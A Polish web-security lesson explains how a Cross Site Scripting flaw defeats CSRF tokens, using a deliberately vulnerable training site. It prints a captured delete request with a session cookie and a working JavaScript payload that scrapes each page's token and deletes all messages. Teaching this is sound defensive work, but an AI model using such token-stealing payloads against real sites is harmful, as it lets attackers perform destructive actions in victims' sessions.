Lekcja 5: Cross Site Scripting i Cross Site Request Forgery
Wprowadzenie
Temat Cross Site Request Forgery poruszany był w poprzednim odcinku: Cross Site Request Forgery. Standardowym zabezpieczeniem przed CSRF jest dodanie do requestu unikalnej wartości, która powoduje, że wcześniejsze przygotowanie odpowiedniego żądania HTTP jest bardzo trudne - trzeba zgadnąć losowy token. W przykładzie http://bootcamp.threats.pl/lesson05/ dodany został parametr token, który spełnia właśnie taką rolę. Trzeba jednak pamiętać, że podatność CSRF wynika z konstrukcji protokołu HTTP i sposobu, w jaki działają przeglądarki, tak więc dodanie tokenu jedynie utrudnia przeprowadzenie skutecznego ataku, nie czyni go jednak niemożliwym.
Przykład
Przykład http://bootcamp.threats.pl/lesson05/ zawiera podatność typu Cross Site Scripting. Oznacza to, że kod osadzony na przykładowej stronie za pomocą XSS ma dostęp do zawartości tej strony. Więcej informacji można uzyskać na przykład w Browser Security Handbook. W szczególności warto przeczytać rozdział Same-origin policy.
W tym przykładzie request powodujący usunięcie wiadomości wygląda w sposób następujący:
POST /lesson05/index.php HTTP/1.1
Accept: image/gif, image/jpeg, (...)
Referer: http://bootcamp.threats.pl/lesson05/?id=3
Accept-Language: en-US,pl;q=0.5
User-Agent: Mozilla/4.0 (compatible; ...)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: bootcamp.threats.pl
Content-Length: 60
Connection: Keep-Alive
Pragma: no-cache
Cookie: PHPSESSID=440816c515cd03e96636f8f53e5d1149
action=delete&token=f8e4766b763b4b6e69c3b21cff28055e283755df
Token jest długi i losowy, w tym konkretnym przypadku łatwiej byłoby odgadnąć ID sesji innego użytkownika, niż wartość tokenu. Niestety, wartość tokenu może zostać odczytana przez kod osadzony na stronie.
W tym przykładzie posłużę się ponownie XMLHttpRequest. W Same-origin policy for XMLHttpRequest znajduje się wyjaśnienie dlaczego mogę to zrobić. Przykładowy kod, który spowoduje usunięcie wszystkich wiadomości wygląda następująco (dla IE8):
<script>
function getToken(string) {
regexp = new RegExp("([0-9a-f]{40})");
results = regexp.exec(string);
try {
return results[1];
}
catch (e){
return "";
}
}
var oReq = new XMLHttpRequest();
var params="action=delete&token=";
var tmpParams = "";
var token = "";
for (i=1; i<6; i++) {
oReq.open("GET", "http://bootcamp.threats.pl/lesson05/?id="+i, false);
oReq.send();
tmpParams = params + getToken(oReq.responseText);
oReq.open("POST", "http://bootcamp.threats.pl/lesson05/index.php", false);
oReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
oReq.setRequestHeader("Content-length", tmpParams.length);
oReq.send(tmpParams);
}
</script>
Ogólna zasada działania kodu jest prosta, najpierw pobierana (wczytywana do sesji) jest wiadomość, która ma zostać usunięta. Ponieważ w tym przykładzie są to wiadomości oznaczone identyfikatorami z zakresu od 1 do 5, pojawia się stosowna pętla. Wiadomość jest wczytywana przez wywołanie obiektu XMLHttpRequest:
oReq.open("GET", "http://bootcamp.threats.pl/lesson05/?id="+i, false);
oReq.send();
Zwrócona strona (jej treść) jest przekazywana do funkcji, która przy pomocy wyrażenia regularnego pobiera osadzony w niej token. Token ten jest wykorzystywany przy budowaniu drugiego żądania HTTP. W rezultacie wygenerowane automatycznie żądanie zawiera odpowiedni token, tak więc żądana operacja zostaje wykonana.
Podsumowanie
Zabezpieczenie aplikacji przed CSRF poprzez wykorzystanie tokenów może okazać się niewystarczające, zwłaszcza jeśli w aplikacji znajduje się gdzieś podatność typu Cross Site Scripting. Podatność ta nie musi znajdować się w samej aplikacji, wystarczy jeśli wykorzystywany w przeglądarkach model same orgin policy pozwoli osadzonemu kodowi na (bliższą) interakcję z aplikacją.